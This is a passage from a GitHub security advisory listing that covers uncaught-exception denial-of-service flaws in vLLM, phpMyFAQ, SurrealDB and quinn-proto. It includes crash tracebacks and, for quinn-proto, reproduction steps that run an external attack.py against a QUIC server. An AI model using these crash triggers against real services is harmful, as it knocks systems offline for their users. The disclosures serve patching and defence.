[core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 367, in run_busy_loop\nERROR 03-26 17:25:01 [core.py:340] outputs = step_fn()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 181, in step\nERROR 03-26 17:25:01 [core.py:340] scheduler_output = self.scheduler.schedule()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py\", line 257, in schedule\nERROR 03-26 17:25:01 [core.py:340] if structured_output_req and structured_output_req.grammar:\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 41, in grammar\nERROR 03-26 17:25:01 [core.py:340] completed = self._check_grammar_completion()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 29, in _check_grammar_completion\nERROR 03-26 17:25:01 [core.py:340] self._grammar = self._grammar.result(timeout=0.0001)\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 456, in result\nERROR 03-26 17:25:01 [core.py:340] return self.__get_result()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 401, in __get_result\nERROR 03-26 17:25:01 [core.py:340] raise self._exception\nERROR 03-26 17:25:01 [core.py:340] File \"/usr/lib64/python3.11/concurrent/futures/thread.py\", line 58, in run\nERROR 03-26 17:25:01 [core.py:340] result = self.fn(*self.args, **self.kwargs)\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py\", line 120, in _async_create_grammar\nERROR 03-26 17:25:01 [core.py:340] ctx = self.compiler.compile_json_schema(grammar_spec,\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py\", line 101, in compile_json_schema\nERROR 03-26 17:25:01 [core.py:340] self._handle.compile_json_schema(\nERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is\u003cpicojson::object\u003e()) is false: Schema should be an object or bool\nERROR 03-26 17:25:01 [core.py:340] \nERROR 03-26 17:25:01 [core.py:340] \nCRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.\n```\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/17623",
"id": "GHSA-6qc9-v4r8-22xg",
"modified": "2025-06-27T21:06:56Z",
"published": "2025-05-28T19:41:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48942"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/issues/17248"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/pull/17623"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-54.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/vllm-project/vllm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "vLLM DOS: Remotely kill vllm over http with invalid JSON schema"
}
GHSA-6VV4-QQ3R-9RV8
Vulnerability from github – Published: 2023-02-12 15:30 – Updated: 2023-02-24 16:02Uncaught Exception in GitHub repository thorsten/phpmyfaq prior to 3.1.11.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-0790"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-14T01:04:31Z",
"nvd_published_at": "2023-02-12T14:15:00Z",
"severity": "HIGH"
},
"details": "Uncaught Exception in GitHub repository thorsten/phpmyfaq prior to 3.1.11.",
"id": "GHSA-6vv4-qq3r-9rv8",
"modified": "2023-02-24T16:02:36Z",
"published": "2023-02-12T15:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0790"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpmyfaq/commit/f34d84dfe551ecdd675916e45cc0606e04a0734e"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/06af150b-b481-4248-9a48-56ded2814156"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncaught Exception in thorsten/phpmyfaq"
}
GHSA-6WR5-JMPR-MJCX
Vulnerability from github – Published: 2024-02-21 00:03 – Updated: 2024-02-21 00:03The query executor would panic when executing a query containing a call to a built-in SurrealDB function that did not exist. This could occur accidentally in situations where the version of the SurrealDB client was newer than the SurrealDB server or when a pre-parsed query was provided to the server via a newer version of the SurrealDB SDK.
Impact
A client that is authorized to run queries in a SurrealDB server is able to craft and execute a pre-parsed query invoking a nonexistent built-in function, which will cause a panic. This will crash the server, leading to denial of service.
Patches
- Version 1.2.0 and later are not affected by this issue.
Workarounds
Concerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.
References
-
3454
- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65755
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.1"
},
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-21T00:03:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The query executor would panic when executing a query containing a call to a built-in SurrealDB function that did not exist. This could occur accidentally in situations where the version of the SurrealDB client was newer than the SurrealDB server or when a pre-parsed query was provided to the server via a newer version of the SurrealDB SDK.\n\n### Impact\n\nA client that is authorized to run queries in a SurrealDB server is able to craft and execute a pre-parsed query invoking a nonexistent built-in function, which will cause a panic. This will crash the server, leading to denial of service.\n\n### Patches\n\n- Version 1.2.0 and later are not affected by this issue.\n\n### Workarounds\n\nConcerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.\n\n### References\n\n- #3454\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65755",
"id": "GHSA-6wr5-jmpr-mjcx",
"modified": "2024-02-21T00:03:06Z",
"published": "2024-02-21T00:03:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-6wr5-jmpr-mjcx"
},
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/pull/3454"
},
{
"type": "WEB",
"url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65755"
},
{
"type": "PACKAGE",
"url": "https://github.com/surrealdb/surrealdb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncaught Exception in Macro Expecting Native Function to Exist"
}
GHSA-6XVM-J4WR-6V98
Vulnerability from github – Published: 2026-03-11 00:09 – Updated: 2026-03-11 05:46Summary
A remote, unauthenticated attacker can trigger a denial of service in applications using vulnerable quinn versions by sending a crafted QUIC Initial packet containing malformed quic_transport_parameters. In quinn-proto parsing logic, attacker-controlled varints are decoded with unwrap(), so truncated encodings cause Err(UnexpectedEnd) and panic. This is reachable over the network with a single packet and no prior trust or authentication.
Details
The issue is panic-on-untrusted-input in QUIC transport parameter parsing.
In quinn-proto (observed in quinn-proto 0.11.13), parsing of some transport parameters uses a fallible varint decode followed by unwrap(). For malformed/truncated parameter values, decode returns UnexpectedEnd, and unwrap() panics.
Observed output:
thread 'tokio-rt-worker' (2366474) panicked at quinn-proto/src/transport_parameters.rs:473:67:
called `Result::unwrap()` on an `Err` value: UnexpectedEnd
PoC
Reproduces against the upstream Quinn server example.
- Start server:
cargo run --example server -- ./
- Prepare PoC client environment:
python3 -m venv .venv
source .venv/bin/activate
pip install aioquic
- Run PoC script attack.py against server QUIC listener (default example target shown):
python attack.py
Observed output
thread 'tokio-rt-worker' (2366903) panicked at quinn-proto/src/transport_parameters.rs:473:67:
called `Result::unwrap()` on an `Err` value: UnexpectedEnd
Impact
Vulnerability type: Remote Denial of Service (panic/crash)
Attack requirements: Network reachability to UDP QUIC listener
Authentication/privileges: None
Who is impacted: Any server/application using affected quinn/quinn-proto versions where this parse path is reachable; process-level impact depends on integration panic handling policy
This vulnerability was originally submitted by @revofusion to the Ethereum Foundation bug bounty program
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "quinn-proto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31812"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T00:09:19Z",
"nvd_published_at": "2026-03-10T22:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\nA remote, unauthenticated attacker can trigger a denial of service in applications using vulnerable `quinn` versions by sending a crafted QUIC Initial packet containing malformed `quic_transport_parameters`. `In quinn-proto` parsing logic, attacker-controlled varints are decoded with `unwrap()`, so truncated encodings cause `Err(UnexpectedEnd)` and `panic`. This is reachable over the network with a single packet and no prior trust or authentication.\n\n### Details\nThe issue is panic-on-untrusted-input in QUIC transport parameter parsing.\nIn `quinn-proto` (observed in `quinn-proto 0.11.13`), parsing of some transport parameters uses a fallible varint decode followed by `unwrap()`. For malformed/truncated parameter values, decode returns `UnexpectedEnd`, and `unwrap()` panics.\n\n#### Observed output:\n```\nthread \u0027tokio-rt-worker\u0027 (2366474) panicked at quinn-proto/src/transport_parameters.rs:473:67:\ncalled `Result::unwrap()` on an `Err` value: UnexpectedEnd\n```\n\n### PoC\n#### Reproduces against the upstream Quinn server example.\n1. Start server:\n```\ncargo run --example server -- ./\n```\n2. Prepare PoC client environment:\n```\npython3 -m venv .venv\nsource .venv/bin/activate\npip install aioquic\n```\n3. Run PoC script [attack.py](https://github.com/user-attachments/files/25741713/attack.py) against server QUIC listener (default example target shown):\n```\npython attack.py\n```\n#### Observed output\n```\nthread \u0027tokio-rt-worker\u0027 (2366903) panicked at quinn-proto/src/transport_parameters.rs:473:67:\ncalled `Result::unwrap()` on an `Err` value: UnexpectedEnd\n```\n\n\n\n### Impact\nVulnerability type: Remote Denial of Service (panic/crash)\nAttack requirements: Network reachability to UDP QUIC listener\nAuthentication/privileges: None\nWho is impacted: Any server/application using affected `quinn/quinn-proto` versions where this parse path is reachable; process-level impact depends on integration panic handling policy\n\n\nThis vulnerability was originally submitted by @revofusion to the Ethereum Foundation bug bounty program",
"id": "GHSA-6xvm-j4wr-6v98",
"modified": "2026-03-11T05:46:01Z",
"published": "2026-03-11T00:09:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quinn-rs/quinn/security/advisories/GHSA-6xvm-j4wr-6v98"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31812"
},
{
"type": "WEB",
"url": "https://github.com/quinn-rs/quinn/pull/2559"
},
{
"type": "PACKAGE",
"url": "https://github.com/quinn-rs/quinn"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0037.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Quinn affected by unauthenticated remote DoS via panic in QUIC transport parameter parsing"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.